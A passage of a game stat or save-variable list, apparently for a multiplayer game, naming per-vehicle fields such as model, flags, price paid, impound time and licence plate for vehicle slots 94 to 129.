Vehicle_94 model enum of vehicle +(int)MPSV_FLAGS_94 // Add MP0_ or MP1_ // Vehicle_94 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_94 // Add MP0_ or MP1_ // Vehicle_94 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_94 // Add MP0_ or MP1_ // Vehicle_94 time vehicle was obtained + +(u64)MPSV_LP0_94 // Add MP0_ or MP1_ // Vehicle_94 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_95 // Add MP0_ or MP1_ // Vehicle_95 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_95 // Add MP0_ or MP1_ // Vehicle_95 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_95 // Add MP0_ or MP1_ // Vehicle_95 premium paid by destroyer of vehicle +(int)MPSV_MODEL_95 // Add MP0_ or MP1_ // Vehicle_95 model enum of vehicle +(int)MPSV_FLAGS_95 // Add MP0_ or MP1_ // Vehicle_95 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_95 // Add MP0_ or MP1_ // Vehicle_95 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_95 // Add MP0_ or MP1_ // Vehicle_95 time vehicle was obtained + +(u64)MPSV_LP0_95 // Add MP0_ or MP1_ // Vehicle_95 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_96 // Add MP0_ or MP1_ // Vehicle_96 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_96 // Add MP0_ or MP1_ // Vehicle_96 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_96 // Add MP0_ or MP1_ // Vehicle_96 premium paid by destroyer of vehicle +(int)MPSV_MODEL_96 // Add MP0_ or MP1_ // Vehicle_96 model enum of vehicle +(int)MPSV_FLAGS_96 // Add MP0_ or MP1_ // Vehicle_96 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_96 // Add MP0_ or MP1_ // Vehicle_96 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_96 // Add MP0_ or MP1_ // Vehicle_96 time vehicle was obtained + +(u64)MPSV_LP0_96 // Add MP0_ or MP1_ // Vehicle_96 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_97 // Add MP0_ or MP1_ // Vehicle_97 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_97 // Add MP0_ or MP1_ // Vehicle_97 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_97 // Add MP0_ or MP1_ // Vehicle_97 premium paid by destroyer of vehicle +(int)MPSV_MODEL_97 // Add MP0_ or MP1_ // Vehicle_97 model enum of vehicle +(int)MPSV_FLAGS_97 // Add MP0_ or MP1_ // Vehicle_97 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_97 // Add MP0_ or MP1_ // Vehicle_97 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_97 // Add MP0_ or MP1_ // Vehicle_97 time vehicle was obtained + +(u64)MPSV_LP0_97 // Add MP0_ or MP1_ // Vehicle_97 licence plate part 0 + + + +(int)MPSV_VEHICLE_BS_98 // Add MP0_ or MP1_ // Vehicle_98 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_98 // Add MP0_ or MP1_ // Vehicle_98 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_98 // Add MP0_ or MP1_ // Vehicle_98 premium paid by destroyer of vehicle +(int)MPSV_MODEL_98 // Add MP0_ or MP1_ // Vehicle_98 model enum of vehicle +(int)MPSV_FLAGS_98 // Add MP0_ or MP1_ // Vehicle_98 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_98 // Add MP0_ or MP1_ // Vehicle_98 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_98 // Add MP0_ or MP1_ // Vehicle_98 time vehicle was obtained + +(u64)MPSV_LP0_98 // Add MP0_ or MP1_ // Vehicle_98 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_99 // Add MP0_ or MP1_ // Vehicle_99 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_99 // Add MP0_ or MP1_ // Vehicle_99 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_99 // Add MP0_ or MP1_ // Vehicle_99 premium paid by destroyer of vehicle +(int)MPSV_MODEL_99 // Add MP0_ or MP1_ // Vehicle_99 model enum of vehicle +(int)MPSV_FLAGS_99 // Add MP0_ or MP1_ // Vehicle_99 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_99 // Add MP0_ or MP1_ // Vehicle_99 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_99 // Add MP0_ or MP1_ // Vehicle_99 time vehicle was obtained + +(u64)MPSV_LP0_99 // Add MP0_ or MP1_ // Vehicle_99 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_100 // Add MP0_ or MP1_ // Vehicle_100 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_100 // Add MP0_ or MP1_ // Vehicle_100 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_100 // Add MP0_ or MP1_ // Vehicle_100 premium paid by destroyer of vehicle +(int)MPSV_MODEL_100 // Add MP0_ or MP1_ // Vehicle_100 model enum of vehicle +(int)MPSV_FLAGS_100 // Add MP0_ or MP1_ // Vehicle_100 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_100 // Add MP0_ or MP1_ // Vehicle_100 time vehicle was obtained +(int)MPSV_PRICE_PAID_100 // Add MP0_ or MP1_ // Vehicle_100 cost of vehicle when purchased + +(u64)MPSV_LP0_100 // Add MP0_ or MP1_ // Vehicle_100 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_101 // Add MP0_ or MP1_ // Vehicle_101 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_101 // Add MP0_ or MP1_ // Vehicle_101 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_101 // Add MP0_ or MP1_ // Vehicle_101 premium paid by destroyer of vehicle +(int)MPSV_MODEL_101 // Add MP0_ or MP1_ // Vehicle_101 model enum of vehicle +(int)MPSV_FLAGS_101 // Add MP0_ or MP1_ // Vehicle_101 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_101 // Add MP0_ or MP1_ // Vehicle_101 time vehicle was obtained +(int)MPSV_PRICE_PAID_101 // Add MP0_ or MP1_ // Vehicle_101 cost of vehicle when purchased + +(u64)MPSV_LP0_101 // Add MP0_ or MP1_ // Vehicle_101 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_102 // Add MP0_ or MP1_ // Vehicle_102 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_102 // Add MP0_ or MP1_ // Vehicle_102 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_102 // Add MP0_ or MP1_ // Vehicle_102 premium paid by destroyer of vehicle +(int)MPSV_MODEL_102 // Add MP0_ or MP1_ // Vehicle_102 model enum of vehicle +(int)MPSV_FLAGS_102 // Add MP0_ or MP1_ // Vehicle_102 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_102 // Add MP0_ or MP1_ // Vehicle_102 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_102 // Add MP0_ or MP1_ // Vehicle_102 time vehicle was obtained + +(u64)MPSV_LP0_102 // Add MP0_ or MP1_ // Vehicle_102 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_103 // Add MP0_ or MP1_ // Vehicle_103 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_103 // Add MP0_ or MP1_ // Vehicle_103 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_103 // Add MP0_ or MP1_ // Vehicle_103 premium paid by destroyer of vehicle +(int)MPSV_MODEL_103 // Add MP0_ or MP1_ // Vehicle_103 model enum of vehicle +(int)MPSV_FLAGS_103 // Add MP0_ or MP1_ // Vehicle_103 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_103 // Add MP0_ or MP1_ // Vehicle_103 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_103 // Add MP0_ or MP1_ // Vehicle_103 time vehicle was obtained + +(u64)MPSV_LP0_103 // Add MP0_ or MP1_ // Vehicle_103 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_104 // Add MP0_ or MP1_ // Vehicle_104 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_104 // Add MP0_ or MP1_ // Vehicle_104 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_104 // Add MP0_ or MP1_ // Vehicle_104 premium paid by destroyer of vehicle +(int)MPSV_MODEL_104 // Add MP0_ or MP1_ // Vehicle_104 model enum of vehicle +(int)MPSV_FLAGS_104 // Add MP0_ or MP1_ // Vehicle_104 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_104 // Add MP0_ or MP1_ // Vehicle_104 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_104 // Add MP0_ or MP1_ // Vehicle_104 time vehicle was obtained + +(u64)MPSV_LP0_104 // Add MP0_ or MP1_ // Vehicle_104 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_105 // Add MP0_ or MP1_ // Vehicle_105 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_105 // Add MP0_ or MP1_ // Vehicle_105 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_105 // Add MP0_ or MP1_ // Vehicle_105 premium paid by destroyer of vehicle +(int)MPSV_MODEL_105 // Add MP0_ or MP1_ // Vehicle_105 model enum of vehicle +(int)MPSV_FLAGS_105 // Add MP0_ or MP1_ // Vehicle_105 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_105 // Add MP0_ or MP1_ // Vehicle_105 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_105 // Add MP0_ or MP1_ // Vehicle_105 time vehicle was obtained + +(u64)MPSV_LP0_105 // Add MP0_ or MP1_ // Vehicle_105 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_106 // Add MP0_ or MP1_ // Vehicle_106 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_106 // Add MP0_ or MP1_ // Vehicle_106 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_106 // Add MP0_ or MP1_ // Vehicle_106 premium paid by destroyer of vehicle +(int)MPSV_MODEL_106 // Add MP0_ or MP1_ // Vehicle_106 model enum of vehicle +(int)MPSV_FLAGS_106 // Add MP0_ or MP1_ // Vehicle_106 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_106 // Add MP0_ or MP1_ // Vehicle_106 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_106 // Add MP0_ or MP1_ // Vehicle_106 time vehicle was obtained + +(u64)MPSV_LP0_106 // Add MP0_ or MP1_ // Vehicle_106 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_107 // Add MP0_ or MP1_ // Vehicle_107 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_107 // Add MP0_ or MP1_ // Vehicle_107 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_107 // Add MP0_ or MP1_ // Vehicle_107 premium paid by destroyer of vehicle +(int)MPSV_MODEL_107 // Add MP0_ or MP1_ // Vehicle_107 model enum of vehicle +(int)MPSV_FLAGS_107 // Add MP0_ or MP1_ // Vehicle_107 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_107 // Add MP0_ or MP1_ // Vehicle_107 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_107 // Add MP0_ or MP1_ // Vehicle_107 time vehicle was obtained + +(u64)MPSV_LP0_107 // Add MP0_ or MP1_ // Vehicle_107 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_108 // Add MP0_ or MP1_ // Vehicle_108 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_108 // Add MP0_ or MP1_ // Vehicle_108 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_108 // Add MP0_ or MP1_ // Vehicle_108 premium paid by destroyer of vehicle +(int)MPSV_MODEL_108 // Add MP0_ or MP1_ // Vehicle_108 model enum of vehicle +(int)MPSV_FLAGS_108 // Add MP0_ or MP1_ // Vehicle_108 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_108 // Add MP0_ or MP1_ // Vehicle_108 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_108 // Add MP0_ or MP1_ // Vehicle_108 time vehicle was obtained + +(u64)MPSV_LP0_108 // Add MP0_ or MP1_ // Vehicle_108 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_109 // Add MP0_ or MP1_ // Vehicle_109 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_109 // Add MP0_ or MP1_ // Vehicle_109 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_109 // Add MP0_ or MP1_ // Vehicle_109 premium paid by destroyer of vehicle +(int)MPSV_MODEL_109 // Add MP0_ or MP1_ // Vehicle_109 model enum of vehicle +(int)MPSV_FLAGS_109 // Add MP0_ or MP1_ // Vehicle_109 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_109 // Add MP0_ or MP1_ // Vehicle_109 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_109 // Add MP0_ or MP1_ // Vehicle_109 time vehicle was obtained + +(u64)MPSV_LP0_109 // Add MP0_ or MP1_ // Vehicle_109 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_110 // Add MP0_ or MP1_ // Vehicle_110 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_110 // Add MP0_ or MP1_ // Vehicle_110 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_110 // Add MP0_ or MP1_ // Vehicle_110 premium paid by destroyer of vehicle +(int)MPSV_MODEL_110 // Add MP0_ or MP1_ // Vehicle_110 model enum of vehicle +(int)MPSV_FLAGS_110 // Add MP0_ or MP1_ // Vehicle_110 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_110 // Add MP0_ or MP1_ // Vehicle_110 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_110 // Add MP0_ or MP1_ // Vehicle_110 time vehicle was obtained + +(u64)MPSV_LP0_110 // Add MP0_ or MP1_ // Vehicle_110 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_111 // Add MP0_ or MP1_ // Vehicle_111 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_111 // Add MP0_ or MP1_ // Vehicle_111 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_111 // Add MP0_ or MP1_ // Vehicle_111 premium paid by destroyer of vehicle +(int)MPSV_MODEL_111 // Add MP0_ or MP1_ // Vehicle_111 model enum of vehicle +(int)MPSV_FLAGS_111 // Add MP0_ or MP1_ // Vehicle_111 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_111 // Add MP0_ or MP1_ // Vehicle_111 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_111 // Add MP0_ or MP1_ // Vehicle_111 time vehicle was obtained + +(u64)MPSV_LP0_111 // Add MP0_ or MP1_ // Vehicle_111 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_112 // Add MP0_ or MP1_ // Vehicle_112 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_112 // Add MP0_ or MP1_ // Vehicle_112 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_112 // Add MP0_ or MP1_ // Vehicle_112 premium paid by destroyer of vehicle +(int)MPSV_MODEL_112 // Add MP0_ or MP1_ // Vehicle_112 model enum of vehicle +(int)MPSV_FLAGS_112 // Add MP0_ or MP1_ // Vehicle_112 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_112 // Add MP0_ or MP1_ // Vehicle_112 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_112 // Add MP0_ or MP1_ // Vehicle_112 time vehicle was obtained + +(u64)MPSV_LP0_112 // Add MP0_ or MP1_ // Vehicle_112 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_113 // Add MP0_ or MP1_ // Vehicle_113 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_113 // Add MP0_ or MP1_ // Vehicle_113 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_113 // Add MP0_ or MP1_ // Vehicle_113 premium paid by destroyer of vehicle +(int)MPSV_MODEL_113 // Add MP0_ or MP1_ // Vehicle_113 model enum of vehicle +(int)MPSV_FLAGS_113 // Add MP0_ or MP1_ // Vehicle_113 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_113 // Add MP0_ or MP1_ // Vehicle_113 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_113 // Add MP0_ or MP1_ // Vehicle_113 time vehicle was obtained + +(u64)MPSV_LP0_113 // Add MP0_ or MP1_ // Vehicle_113 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_114 // Add MP0_ or MP1_ // Vehicle_114 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_114 // Add MP0_ or MP1_ // Vehicle_114 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_114 // Add MP0_ or MP1_ // Vehicle_114 premium paid by destroyer of vehicle +(int)MPSV_MODEL_114 // Add MP0_ or MP1_ // Vehicle_114 model enum of vehicle +(int)MPSV_FLAGS_114 // Add MP0_ or MP1_ // Vehicle_114 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_114 // Add MP0_ or MP1_ // Vehicle_114 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_114 // Add MP0_ or MP1_ // Vehicle_114 time vehicle was obtained + +(u64)MPSV_LP0_114 // Add MP0_ or MP1_ // Vehicle_114 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_115 // Add MP0_ or MP1_ // Vehicle_115 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_115 // Add MP0_ or MP1_ // Vehicle_115 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_115 // Add MP0_ or MP1_ // Vehicle_115 premium paid by destroyer of vehicle +(int)MPSV_MODEL_115 // Add MP0_ or MP1_ // Vehicle_115 model enum of vehicle +(int)MPSV_FLAGS_115 // Add MP0_ or MP1_ // Vehicle_115 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_115 // Add MP0_ or MP1_ // Vehicle_115 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_115 // Add MP0_ or MP1_ // Vehicle_115 time vehicle was obtained + +(u64)MPSV_LP0_115 // Add MP0_ or MP1_ // Vehicle_115 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_116 // Add MP0_ or MP1_ // Vehicle_116 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_116 // Add MP0_ or MP1_ // Vehicle_116 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_116 // Add MP0_ or MP1_ // Vehicle_116 premium paid by destroyer of vehicle +(int)MPSV_MODEL_116 // Add MP0_ or MP1_ // Vehicle_116 model enum of vehicle +(int)MPSV_FLAGS_116 // Add MP0_ or MP1_ // Vehicle_116 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_116 // Add MP0_ or MP1_ // Vehicle_116 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_116 // Add MP0_ or MP1_ // Vehicle_116 time vehicle was obtained + +(u64)MPSV_LP0_116 // Add MP0_ or MP1_ // Vehicle_116 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_117 // Add MP0_ or MP1_ // Vehicle_117 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_117 // Add MP0_ or MP1_ // Vehicle_117 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_117 // Add MP0_ or MP1_ // Vehicle_117 premium paid by destroyer of vehicle +(int)MPSV_MODEL_117 // Add MP0_ or MP1_ // Vehicle_117 model enum of vehicle +(int)MPSV_FLAGS_117 // Add MP0_ or MP1_ // Vehicle_117 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_117 // Add MP0_ or MP1_ // Vehicle_117 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_117 // Add MP0_ or MP1_ // Vehicle_117 time vehicle was obtained + +(u64)MPSV_LP0_117 // Add MP0_ or MP1_ // Vehicle_117 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_118 // Add MP0_ or MP1_ // Vehicle_118 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_118 // Add MP0_ or MP1_ // Vehicle_118 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_118 // Add MP0_ or MP1_ // Vehicle_118 premium paid by destroyer of vehicle +(int)MPSV_MODEL_118 // Add MP0_ or MP1_ // Vehicle_118 model enum of vehicle +(int)MPSV_FLAGS_118 // Add MP0_ or MP1_ // Vehicle_118 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_118 // Add MP0_ or MP1_ // Vehicle_118 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_118 // Add MP0_ or MP1_ // Vehicle_118 time vehicle was obtained + +(u64)MPSV_LP0_118 // Add MP0_ or MP1_ // Vehicle_118 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_119 // Add MP0_ or MP1_ // Vehicle_119 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_119 // Add MP0_ or MP1_ // Vehicle_119 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_119 // Add MP0_ or MP1_ // Vehicle_119 premium paid by destroyer of vehicle +(int)MPSV_MODEL_119 // Add MP0_ or MP1_ // Vehicle_119 model enum of vehicle +(int)MPSV_FLAGS_119 // Add MP0_ or MP1_ // Vehicle_119 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_119 // Add MP0_ or MP1_ // Vehicle_119 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_119 // Add MP0_ or MP1_ // Vehicle_119 time vehicle was obtained + +(u64)MPSV_LP0_119 // Add MP0_ or MP1_ // Vehicle_119 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_120 // Add MP0_ or MP1_ // Vehicle_120 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_120 // Add MP0_ or MP1_ // Vehicle_120 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_120 // Add MP0_ or MP1_ // Vehicle_120 premium paid by destroyer of vehicle +(int)MPSV_MODEL_120 // Add MP0_ or MP1_ // Vehicle_120 model enum of vehicle +(int)MPSV_FLAGS_120 // Add MP0_ or MP1_ // Vehicle_120 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_120 // Add MP0_ or MP1_ // Vehicle_120 time vehicle was obtained +(int)MPSV_PRICE_PAID_120 // Add MP0_ or MP1_ // Vehicle_120 cost of vehicle when purchased + +(u64)MPSV_LP0_120 // Add MP0_ or MP1_ // Vehicle_120 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_121 // Add MP0_ or MP1_ // Vehicle_121 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_121 // Add MP0_ or MP1_ // Vehicle_121 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_121 // Add MP0_ or MP1_ // Vehicle_121 premium paid by destroyer of vehicle +(int)MPSV_MODEL_121 // Add MP0_ or MP1_ // Vehicle_121 model enum of vehicle +(int)MPSV_FLAGS_121 // Add MP0_ or MP1_ // Vehicle_121 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_121 // Add MP0_ or MP1_ // Vehicle_121 time vehicle was obtained +(int)MPSV_PRICE_PAID_121 // Add MP0_ or MP1_ // Vehicle_121 cost of vehicle when purchased + +(u64)MPSV_LP0_121 // Add MP0_ or MP1_ // Vehicle_121 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_122 // Add MP0_ or MP1_ // Vehicle_122 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_122 // Add MP0_ or MP1_ // Vehicle_122 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_122 // Add MP0_ or MP1_ // Vehicle_122 premium paid by destroyer of vehicle +(int)MPSV_MODEL_122 // Add MP0_ or MP1_ // Vehicle_122 model enum of vehicle +(int)MPSV_FLAGS_122 // Add MP0_ or MP1_ // Vehicle_122 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_122 // Add MP0_ or MP1_ // Vehicle_122 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_122 // Add MP0_ or MP1_ // Vehicle_122 time vehicle was obtained + +(u64)MPSV_LP0_122 // Add MP0_ or MP1_ // Vehicle_122 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_123 // Add MP0_ or MP1_ // Vehicle_123 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_123 // Add MP0_ or MP1_ // Vehicle_123 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_123 // Add MP0_ or MP1_ // Vehicle_123 premium paid by destroyer of vehicle +(int)MPSV_MODEL_123 // Add MP0_ or MP1_ // Vehicle_123 model enum of vehicle +(int)MPSV_FLAGS_123 // Add MP0_ or MP1_ // Vehicle_123 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_123 // Add MP0_ or MP1_ // Vehicle_123 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_123 // Add MP0_ or MP1_ // Vehicle_123 time vehicle was obtained + +(u64)MPSV_LP0_123 // Add MP0_ or MP1_ // Vehicle_123 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_124 // Add MP0_ or MP1_ // Vehicle_124 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_124 // Add MP0_ or MP1_ // Vehicle_124 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_124 // Add MP0_ or MP1_ // Vehicle_124 premium paid by destroyer of vehicle +(int)MPSV_MODEL_124 // Add MP0_ or MP1_ // Vehicle_124 model enum of vehicle +(int)MPSV_FLAGS_124 // Add MP0_ or MP1_ // Vehicle_124 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_124 // Add MP0_ or MP1_ // Vehicle_124 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_124 // Add MP0_ or MP1_ // Vehicle_124 time vehicle was obtained + +(u64)MPSV_LP0_124 // Add MP0_ or MP1_ // Vehicle_124 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_125 // Add MP0_ or MP1_ // Vehicle_125 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_125 // Add MP0_ or MP1_ // Vehicle_125 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_125 // Add MP0_ or MP1_ // Vehicle_125 premium paid by destroyer of vehicle +(int)MPSV_MODEL_125 // Add MP0_ or MP1_ // Vehicle_125 model enum of vehicle +(int)MPSV_FLAGS_125 // Add MP0_ or MP1_ // Vehicle_125 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_125 // Add MP0_ or MP1_ // Vehicle_125 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_125 // Add MP0_ or MP1_ // Vehicle_125 time vehicle was obtained + +(u64)MPSV_LP0_125 // Add MP0_ or MP1_ // Vehicle_125 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_126 // Add MP0_ or MP1_ // Vehicle_126 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_126 // Add MP0_ or MP1_ // Vehicle_126 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_126 // Add MP0_ or MP1_ // Vehicle_126 premium paid by destroyer of vehicle +(int)MPSV_MODEL_126 // Add MP0_ or MP1_ // Vehicle_126 model enum of vehicle +(int)MPSV_FLAGS_126 // Add MP0_ or MP1_ // Vehicle_126 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_126 // Add MP0_ or MP1_ // Vehicle_126 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_126 // Add MP0_ or MP1_ // Vehicle_126 time vehicle was obtained + +(u64)MPSV_LP0_126 // Add MP0_ or MP1_ // Vehicle_126 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_127 // Add MP0_ or MP1_ // Vehicle_127 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_127 // Add MP0_ or MP1_ // Vehicle_127 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_127 // Add MP0_ or MP1_ // Vehicle_127 premium paid by destroyer of vehicle +(int)MPSV_MODEL_127 // Add MP0_ or MP1_ // Vehicle_127 model enum of vehicle +(int)MPSV_FLAGS_127 // Add MP0_ or MP1_ // Vehicle_127 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_127 // Add MP0_ or MP1_ // Vehicle_127 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_127 // Add MP0_ or MP1_ // Vehicle_127 time vehicle was obtained + +(u64)MPSV_LP0_127 // Add MP0_ or MP1_ // Vehicle_127 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_128 // Add MP0_ or MP1_ // Vehicle_128 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_128 // Add MP0_ or MP1_ // Vehicle_128 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_128 // Add MP0_ or MP1_ // Vehicle_128 premium paid by destroyer of vehicle +(int)MPSV_MODEL_128 // Add MP0_ or MP1_ // Vehicle_128 model enum of vehicle +(int)MPSV_FLAGS_128 // Add MP0_ or MP1_ // Vehicle_128 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_128 // Add MP0_ or MP1_ // Vehicle_128 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_128 // Add MP0_ or MP1_ // Vehicle_128 time vehicle was obtained + +(u64)MPSV_LP0_128 // Add MP0_ or MP1_ // Vehicle_128 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_129 // Add MP0_ or MP1_ // Vehicle_129 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_129 // Add MP0_ or MP1_ // Vehicle_129 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_129 // Add MP0_ or MP1_ // 